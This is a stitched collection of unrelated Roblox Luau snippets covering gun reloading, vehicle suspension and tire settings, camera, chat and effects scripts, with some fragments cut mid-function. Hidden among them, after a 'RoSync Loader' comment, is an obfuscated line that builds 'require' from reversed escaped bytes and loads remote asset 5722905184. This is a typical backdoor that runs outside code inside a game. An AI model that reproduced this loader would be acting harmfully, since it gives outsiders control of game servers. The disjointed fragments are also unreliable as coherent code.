--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end;
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 0 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 0 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--Function For Making New Ray Bricks
|
function makeRay(cframe, size)
local p = Instance.new("Part")
p.Name = "RayPart"
p.BrickColor = BrickColor.new("New Yeller")
p.Material = "Neon"
p.Transparency = 0.5
p.Anchored = true
p.CanCollide = false
p.TopSurface = Enum.SurfaceType.Smooth
p.BottomSurface = Enum.SurfaceType.Smooth
p.formFactor = Enum.FormFactor.Custom
p.CFrame = cframe
p.Size = size
p.Parent = m
ignoreList[#ignoreList+1] = p
end
|
-- Formerly getCurrentCameraMode, this function resolves developer and user camera control settings to
-- decide which camera control module should be instantiated. The old method of converting redundant enum types
|
function CameraModule:GetCameraControlChoice()
local player = Players.LocalPlayer
if player then
if UserInputService:GetLastInputType() == Enum.UserInputType.Touch or UserInputService.TouchEnabled then
-- Touch
if player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then
return CameraUtils.ConvertCameraModeEnumToStandard( UserGameSettings.TouchCameraMovementMode )
else
return CameraUtils.ConvertCameraModeEnumToStandard( player.DevTouchCameraMode )
end
else
-- Computer
if player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then
local computerMovementMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode)
return CameraUtils.ConvertCameraModeEnumToStandard(computerMovementMode)
else
return CameraUtils.ConvertCameraModeEnumToStandard(player.DevComputerCameraMode)
end
end
end
end
function CameraModule:OnCharacterAdded(char, player)
if self.activeOcclusionModule then
self.activeOcclusionModule:CharacterAdded(char, player)
end
end
function CameraModule:OnCharacterRemoving(char, player)
if self.activeOcclusionModule then
self.activeOcclusionModule:CharacterRemoving(char, player)
end
end
function CameraModule:OnPlayerAdded(player)
player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char, player)
end)
player.CharacterRemoving:Connect(function(char)
self:OnCharacterRemoving(char, player)
end)
end
function CameraModule:OnMouseLockToggled()
if self.activeMouseLockController then
local mouseLocked = self.activeMouseLockController:GetIsMouseLocked()
local mouseLockOffset = self.activeMouseLockController:GetMouseLockOffset()
if self.activeCameraController then
self.activeCameraController:SetIsMouseLocked(mouseLocked)
self.activeCameraController:SetMouseLockOffset(mouseLockOffset)
end
end
end
local cameraModuleObject = CameraModule.new()
return {}
|
-----------------------
------
|
for _,v in pairs(script.Parent.PS.bu:GetChildren())do
local dx=math.abs(v.inf.Value.Y)==1 and 1 or 2
local x,y=v.Position.X.Offset+v.inf.Value.X*dx,v.Position.Y.Offset+v.inf.Value.Y
if y<0 then y=0 v.inf.Value=Vector3.new(v.inf.Value.X,-v.inf.Value.Y)end
if y>36 then y=36 v.inf.Value=Vector3.new(v.inf.Value.X,-v.inf.Value.Y)end
v.Position=UDim2.new(0,x,0,y)
if x>75 then v:Destroy()end
if x<1 then v:Destroy()end
if col(v,script.Parent.PS.ca)then v:Destroy()end
if v and v.Parent and v.inf.Value.X==1 and col(v,script.Parent.PS.p2)then v:Destroy()
if s2==0 then s2=1 sc1=sc1+1 rest()end end
if v and v.Parent and v.inf.Value.X==-1 and col(v,script.Parent.PS.p1)then v:Destroy()
if s1==0 then s1=1 sc2=sc2+1 rest()end end
end
|
-- TeleportService:Teleport(placeID_Premium, player)
|
-- Else, prompt Premium upgrade (use debounce to show it only once every few seconds)
else
if showPrompt == false then return end
showPrompt = false
delay(5, function()
showPrompt = true
end)
MarketplaceService:PromptPremiumPurchase(player)
warn("Prompted Premium purchase")
end
end
teleporter.Touched:Connect(onTeleporterTouch)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
local v7 = l__ReplicatedStorage__1.KillFX[p1].Effect:Clone();
v7.Parent = p2.Parent.UpperTorso and p2;
v7.Enabled = true;
game.Debris:AddItem(v7, 4);
local u2 = false;
task.delay(0, function()
for v8 = 0, 0.25, 0.01 do
v7.StudsOffset = Vector3.new(v7.StudsOffset.X - v8 / 2, v7.StudsOffset.Y - v8, 0);
task.wait();
end;
local v9 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone();
v9.Parent = p2.Parent.UpperTorso or p2;
v9:Play();
game.Debris:AddItem(v9, 4);
for v10 = 0, 0.25, 0.01 do
v7.StudsOffset = Vector3.new(v7.StudsOffset.X - v10, v7.StudsOffset.Y + v10, 0);
task.wait();
end;
v7:Destroy();
u2 = true;
end);
while true do
task.wait();
if u2 == true then
break;
end;
if v7.Parent == nil then
break;
end;
end;
if v7.Parent ~= nil then
v7:Destroy();
end;
return nil;
end;
return v1;
|
--[[ Version ]]
|
module.MajorVersion = 0
module.MinorVersion = 5
|
-- local endbrick = workspace.EndKillBrick
|
local tweenInfo = TweenInfo.new(
2, -- Time
Enum.EasingStyle.Linear, -- EasingStyle
Enum.EasingDirection.Out, -- EasingDirection
0, -- RepeatCount (when less than zero the tween will loop indefinitely)
false, -- Reverses (tween will reverse once reaching it's goal)
0 -- DelayTime
)
script.Parent.Touched:connect(function(hit)
local tweenToB = game:GetService("TweenService"):Create(hit, tweenInfo, {CFrame = spawn.CFrame})
if hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") then
local player = game.Players:GetPlayerFromCharacter(hit.Parent)
local checkpointData = game.ServerStorage:FindFirstChild("CheckpointData")
if not checkpointData then
checkpointData = Instance.new("Model", game.ServerStorage)
checkpointData.Name = "CheckpointData"
end
local checkpoint = checkpointData:FindFirstChild(tostring(player.userId))
if not checkpoint then
checkpoint = Instance.new("ObjectValue", checkpointData)
checkpoint.Name = tostring(player.userId)
player.CharacterAdded:connect(function(character)
wait()
character:WaitForChild("HumanoidRootPart").CFrame = game.ServerStorage.CheckpointData[tostring(player.userId)].Value.CFrame + Vector3.new(0, 4, 0)
end)
end
checkpoint.Value = spawn
hit.Anchored = true
hit.Parent:FindFirstChild('Humanoid').PlatformStand = true
tweenToB:Play()
wait(1.8)
tweenToB:Pause()
hit.Parent:FindFirstChild('Humanoid').PlatformStand = false
-- game.Players:GetPlayerFromCharacter(hit.Parent):FindFirstChild('Humanoid').PlatformStand = false
hit.Anchored = false
_G.giveToolToPlayer(game.Players:GetPlayerFromCharacter(hit.Parent))
end
end)
|
--[=[
Gets whatever object is stored with the given index, if it exists. This was added since Maid allows getting the task using `__index`.
```lua
local Obliterator = Janitor.new()
Obliterator:Add(workspace.Baseplate, "Destroy", "Baseplate")
print(Obliterator:Get("Baseplate")) -- Returns Baseplate.
```
```ts
import { Workspace } from "@rbxts/services";
import { Janitor } from "@rbxts/janitor";
const Obliterator = new Janitor<{ Baseplate: Part }>();
Obliterator.Add(Workspace.FindFirstChild("Baseplate") as Part, "Destroy", "Baseplate");
print(Obliterator.Get("Baseplate")); // Returns Baseplate.
```
@param Index any -- The index that the object is stored under.
@return any? -- This will return the object if it is found, but it won't return anything if it doesn't exist.
]=]
|
function Janitor:Get(Index: any): any?
local This = self[IndicesReference]
if This then
return This[Index]
else
return nil
end
end
local function GetFenv(self)
return function()
for Object, MethodName in pairs(self) do
if Object ~= IndicesReference then
return Object, MethodName
end
end
end
end
|
-- Basic settings
|
local MAX_SPAM_SCORE = 5
local plr = game.Players.LocalPlayer
local tweenService = game:GetService("TweenService")
local defaultMsg = "Tap here to chat"
local previousText = script.Parent.TypeArea.Text
local size = 1
local tweenInProgress = false
local spamScore = 0
function tweenToTripleSize()
-- Tween size
tweenInProgress = true
local goal = { Size = UDim2.new(1, -365, 0, 60) }
local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal)
tween.Completed:connect(function()
tweenInProgress = false
end)
tween:Play()
end
function tweenToDoubleSize()
-- Tween size
tweenInProgress = true
local goal = { Size = UDim2.new(1, -365, 0, 48) }
local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal)
tween.Completed:connect(function()
tweenInProgress = false
end)
tween:Play()
end
function tweenToNormalSize()
-- Tween size
tweenInProgress = true
local goal = { Size = UDim2.new(1, -365, 0, 36) }
local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal)
tween.Completed:connect(function()
tweenInProgress = false
end)
tween:Play()
end
script.Parent.TypeArea.Focused:connect(function()
-- Reset text if default
if script.Parent.TypeArea.Text == defaultMsg then
script.Parent.TypeArea.Text = ""
end
end)
script.Parent.TypeArea.FocusLost:connect(function(enterPressed)
-- Check if enter was pressed
if enterPressed then
-- Clear spaces at beginning
local msg = script.Parent.TypeArea.Text
for i=1, string.len(script.Parent.TypeArea.Text) do
if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' and i < string.len(script.Parent.TypeArea.Text) then
msg = string.sub(script.Parent.TypeArea.Text, i + 1, string.len(script.Parent.TypeArea.Text))
else
if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' then
msg = ""
end
break
end
end
-- Clear spaces at end
if msg ~= "" then
local prevMsg = msg
for i=string.len(prevMsg), 1, -1 do
if string.sub(prevMsg, i, i) == ' ' and i > 1 then
msg = string.sub(prevMsg, 1, i - 1)
else
if string.sub(prevMsg, i, i) == ' ' then
msg = ""
end
break
end
end
end
-- Send message if not blank
if msg ~= "" and spamScore <= MAX_SPAM_SCORE then
game.ReplicatedStorage.Interactions.Server.SendChatMessage:FireServer(msg)
spamScore = spamScore + 2
elseif msg ~= "" and spamScore > MAX_SPAM_SCORE then
plr.PlayerGui.MainGui.Chat.ShowChatMessage:Fire(nil, "You are chatting too quickly. You can chat again in " .. spamScore - MAX_SPAM_SCORE .. " seconds.")
end
-- Clear set text to default text
script.Parent.TypeArea.Text = defaultMsg
else
-- Set to default if blank
if script.Parent.TypeArea.Text == "" then
script.Parent.TypeArea.Text = defaultMsg
end
end
end)
script.Parent.TypeArea:GetPropertyChangedSignal("Text"):connect(function()
-- Check if went out of bounds
if not tweenInProgress then
if not script.Parent.TypeArea.TextFits and size == 1 then
tweenToDoubleSize()
size = 2
elseif not script.Parent.TypeArea.TextFits and size == 2 then
tweenToTripleSize()
size = 3
elseif not script.Parent.TypeArea.TextFits and size == 3 then
script.Parent.TypeArea.Text = previousText
elseif size > 2 and script.Parent.TypeArea.TextBounds.Y == 24 then
tweenToDoubleSize()
size = 2
elseif size > 1 and script.Parent.TypeArea.TextBounds.Y == 12 then
tweenToNormalSize()
size = 1
end
end
-- Set previous text
previousText = script.Parent.TypeArea.Text
end)
while wait(1) do
-- Decrement spam score
if spamScore > 0 then
spamScore = spamScore - 1
end
end
|
--[=[
Observes the current value of the ValueObject
@param valueObject ValueObject<T>
@return Observable<Brio<T>>
]=]
|
function ValueObjectUtils.observeValueBrio(valueObject)
assert(valueObject, "Bad valueObject")
return Observable.new(function(sub)
local maid = Maid.new()
local function refire()
local brio = Brio.new(valueObject.Value)
maid._lastBrio = brio
sub:Fire(brio)
end
maid:GiveTask(valueObject.Changed:Connect(refire))
refire()
return maid
end)
end
return ValueObjectUtils
|
--[END]]
--[[ Last synced 7/19/2021 06:21 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- ANimation
|
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 2
Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
script.RemoteEventS:FireServer()
EF = game.ReplicatedStorage.Thunder.Aim:Clone()
EF.Parent = plr.Character
EF.Name = "AIM"
for i = 1,math.huge do
if Debounce == 2 then
EF.CFrame = CFrame.new(Mouse.Hit.p)
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 3
local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
wait(0.5)
EF:Destroy()
Track2:Stop()
plr.Character.HumanoidRootPart.Anchored = false
local hum = plr.Character.Humanoid
for i = 1,35 do
wait()
hum.CameraOffset = Vector3.new(math.random(-3,3),math.random(-3,3),math.random(-3,3))
end
hum.CameraOffset = Vector3.new(0,0,0)
Tool.Active.Value = "None"
wait(3)
Debounce = 1
end
end)
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "killer slash" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
local v7 = l__ReplicatedStorage__1.KillFX[p1].Ring:Clone();
v7.Parent = p2.Parent.UpperTorso and p2;
v7:Play();
game.Debris:AddItem(v7, 2);
local v8 = l__ReplicatedStorage__1.KillFX[p1].Part:Clone();
v8.Parent = workspace.Ignored.Animations;
v8.Position = p2.Position;
task.delay(0.35, function()
v8.Attachment.Particle.Enabled = false;
end);
return nil;
end;
return v1;
|
--Made by Luckymaxer
|
Particles = script.Parent
Debris = game:GetService("Debris")
Debris:AddItem(Particles, 3)
wait(1.5)
Particles.Enabled = false
|
-- lol xddd
|
script.Parent.MouseButton1Click:connect(function() -- The function of when the Players Clicks.
if script.Parent.Parent.Box.Visible == false then -- This tells wither it is open or not.
script.Parent.Text = "Close" -- Tells us that it is open.
script.Parent.Parent.Box.Visible = true -- Makes the box visible.
else -- Otherwise
script.Parent.Text = "Job Changer" -- Tells us that it is closed.
script.Parent.Parent.Box.Visible = false -- Makes the box Invisible
end -- Ends the If statement.
end) -- Ends the function in general.
|
--!strict
|
type Match = {
index: number,
match: string,
}
|
--Update RPM
|
function RPM()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
end
|
--[=[
@within TableUtil
@function Keys
@param tbl table
@return table
Returns an array with all the keys in the table.
```lua
local t = {A = 10, B = 20, C = 30}
local keys = TableUtil.Keys(t)
print(keys) --> {"A", "B", "C"}
```
:::caution Ordering
The ordering of the keys is never guaranteed. If order is imperative, call
`table.sort` on the resulting `keys` array.
```lua
local keys = TableUtil.Keys(t)
table.sort(keys)
```
]=]
|
local function Keys<K, V>(tbl: { [K]: V }): { K }
local keys = table.create(#tbl)
for k in tbl do
table.insert(keys, k)
end
return keys
end
|
-- единица сетки
|
grid = game.Workspace.Configuration.GridSize.Value
local player = game.Players.LocalPlayer
while true do
-- local char = player.Character or player.CharacterAdded:Wait() -- GetPlayerFromCharacter
local char = player.Character
if char.PrimaryPart then -- проверка на загрузку персонажа
local pos = char:GetPrimaryPartCFrame().Position
local txt = math.floor(pos.X / grid ) .. " / " .. math.floor( -pos.Z / grid )
me.Text = txt
else
me.Text = "" -- нет координат
end
-- ожидаем
wait(1)
end
|
--------------------------------------------
|
print("Phase 1 - Charge")
local exp = Instance.new("Explosion")
exp.Position = script.Parent.Position
exp.BlastPressure = 10000
exp.BlastRadius = 40
exp.Visible = false
exp.Parent = workspace
script.Parent.Trail.Enabled = false
script.Parent.radialneedles.Disabled = false
script.Parent.hallelujah:Stop()
script.Parent.Abscond:Play()
script.Parent.Charge:Play()
script.Parent.ChargeExSound:Play()
script.Parent.ChargeExSound2:Play()
script.Parent.ChargeExSound3:Play()
script.Parent.ChargeExSound4:Play()
script.Parent.ChargeExSound5:Play()
script.Parent.ChargeStart:Play()
script.Parent.ChargeStart2:Play()
script.Parent.ChargeStart3:Play()
script.Parent.Curse:Play()
script.Parent.booooooooooooiiiiinnngggg:Play()
script.Parent.DBC:Play()
script.Parent.DBCha:Play()
script.Parent.DS:Play()
script.Parent.DSHit:Play()
script.Parent.Defile:Play()
script.Parent.Elec:Play()
script.Parent.Activate.Enabled = false
script.Parent.ChargeEx:Emit(400)
|
-- this plugin was made to work with my track, however it'll still work if you use glass or ice as the wet track surface
-- https://www.roblox.com/games/4940324361/AIC-Autodromo-Internacional-de-Codegua
-- if you're going to add a rain system, i highly suggest you hide the wet track surface in somewhere that isnt workspace when its off, because then the water effect will still appear
| |
--[[
Systems that need to wait for config override to happen
]]
|
local PlayerMatchInfo = require(ReplicatedStorage.Libraries.PlayerMatchInfo)
WeaponsSystem.setGetTeamCallback(function(player)
return PlayerMatchInfo.GetField(player, "teamNumber")
end)
|
--/Recoil Modification
|
module.camRecoil = {
RecoilUp = 1
,RecoilTilt = 1
,RecoilLeft = 1
,RecoilRight = 1
}
module.gunRecoil = {
RecoilUp = 1
,RecoilTilt = 1
,RecoilLeft = 1
,RecoilRight = 1
}
module.AimRecoilReduction = 1
module.AimSpreadReduction = 1
module.MinRecoilPower = 1
module.MaxRecoilPower = 1
module.RecoilPowerStepAmount = 1
module.MinSpread = 1
module.MaxSpread = 1
module.AimInaccuracyStepAmount = 1
module.AimInaccuracyDecrease = 1
module.WalkMult = 1
module.MuzzleVelocityMod = 1
return module
|
-- 0 = Least Significant Bit, 31 = Most Significant Bit
|
local function rRotateSubsection(int, start, width, disp)
local wrappedBits
local shiftedBits
disp = disp % width
if disp == 0 then
return int
end
wrappedBits = bit32.extract(int, start, disp)
wrappedBits = bit32.lshift(wrappedBits, width - disp)
shiftedBits = bit32.extract(int, start + disp, width - disp)
return bit32.replace(int, bit32.bor(wrappedBits, shiftedBits), start, width)
end
function BitOps.rotateConnectivity(connectivity, degrees)
return rRotateSubsection(connectivity, 0, 24, 6 * (degrees % 360) / 90)
end
function BitOps.rotateOccupancy(occupancy, degrees)
local occupancyWithVerticalFacesRotated = rRotateSubsection(occupancy, 2, 4, (degrees % 360) / 90)
return rRotateSubsection(occupancyWithVerticalFacesRotated, 6, 8, 2 * (degrees % 360) / 90)
end
|
---ex2---
|
script.Parent.Parent.ex2.exit1.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit2.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit3.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit4.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit5.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex2.exit6.SurfaceGui.TextLabel.TextTransparency = 0
|
--RightShoulder = Torso:WaitForChild("Right Shoulder")
--LeftShoulder = Torso:WaitForChild("Left Shoulder")
|
RightHip = Torso:WaitForChild("Right Hip")
LeftHip = Torso:WaitForChild("Left Hip")
Neck = Torso:WaitForChild("Neck")
Humanoid = Figure:WaitForChild("Humanoid")
Pose = "Standing"
CurrentAnim = ""
CurrentAnimTrack = nil
CurrentAnimKeyframeHandler = nil
CurrentAnimSpeed = 1.0
AnimTable = {}
AnimNames = {
Idle = {
{Id = "http://www.roblox.com/asset/?id=125750544", Weight = 9},
{Id = "http://www.roblox.com/asset/?id=125750618", Weight = 1},
},
Walk = {
{Id = "http://www.roblox.com/asset/?id=125749145", Weight = 10},
},
Run = {
{Id = "run.xml", Weight = 10},
},
Jump = {
{Id = "http://www.roblox.com/asset/?id=125750702", Weight = 10},
},
Fall = {
{Id = "http://www.roblox.com/asset/?id=125750759", Weight = 10},
},
Climb = {
{Id = "http://www.roblox.com/asset/?id=125750800", Weight = 10},
},
ToolNone = {
{Id = "http://www.roblox.com/asset/?id=125750867", Weight = 10},
},
ToolSlash = {
{Id = "http://www.roblox.com/asset/?id=129967390", Weight = 10},
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt=0
local redline=0
script:WaitForChild("Rev")
script:WaitForChild("Elec")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.SetVol.Value,true)
handler:FireServer("newSound","Elec",car.DriveSeat,script.Elec.SoundId,0,script.Elec.SetVol.Value,true)
handler:FireServer("playSound","Rev")
handler:FireServer("playSound","Elec")
car.DriveSeat:WaitForChild("Rev")
car.DriveSeat:WaitForChild("Elec")
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
else
throt = math.min(1,throt+.1)
end
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local RevVol = script.Rev.SetVol.Value
local ElecVol = script.Elec.SetVol.Value
if not _Tune.Engine then RevVol = 0 end
if not _Tune.Electric then ElecVol = 0 end
local RevPitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
local ElecPitch = math.max((((script.Elec.SetPitch.Value + script.Elec.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Elec.SetPitch.Value)
handler:FireServer("updateSound","Rev",script.Rev.SoundId,RevPitch,RevVol)
handler:FireServer("updateSound","Elec",script.Elec.SoundId,ElecPitch,ElecVol)
end
|
--Tune
|
local _Select = "AllSeason" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive
local _Custom = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .2 , --How fast your tires will degrade (Front)
FTargetFriction = 1.23 , --Friction in optimal conditions (Front)
FMinFriction = 0.35 , --Friction in worst conditions (Front)
RWearSpeed = .2 , --How fast your tires will degrade (Rear)
RTargetFriction = 1.23 , --Friction in optimal conditions (Rear)
RMinFriction = 0.35 , --Friction in worst conditions (Rear)
--Tire Slip
TCSOffRatio = 1/1.7 , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses.
WheelLockRatio = 1/6 , --How much grip your car will lose when locking the wheels
WheelspinRatio = 1/1.2 , --How much grip your car will lose when spinning the wheels
--Wheel Properties
FFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS)
RFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS)
FLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front)
RLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear)
FElasticity = 0 , --How much your wheel will bounce (Front) (PGS)
RElasticity = 0 , --How much your wheel will bounce (Rear) (PGS)
FLgcyElasticity = 0 , --How much your wheel will bounce (Front)
RLgcyElasticity = 0 , --How much your wheel will bounce (Rear)
FElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS)
RElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS)
FLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front)
RLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear)
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _AllSeason = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .2 , --Don't change this
FTargetFriction = .6 , -- .58 to .63
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .2 , --Don't change this
RTargetFriction = .6 , -- .58 to .63
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 2 , --Don't change this
RFrictionWeight = 2 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _Slicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .6 , --Don't change this
FTargetFriction = .93 , -- .88 to .93
FMinFriction = 0.35 , --Don't change this
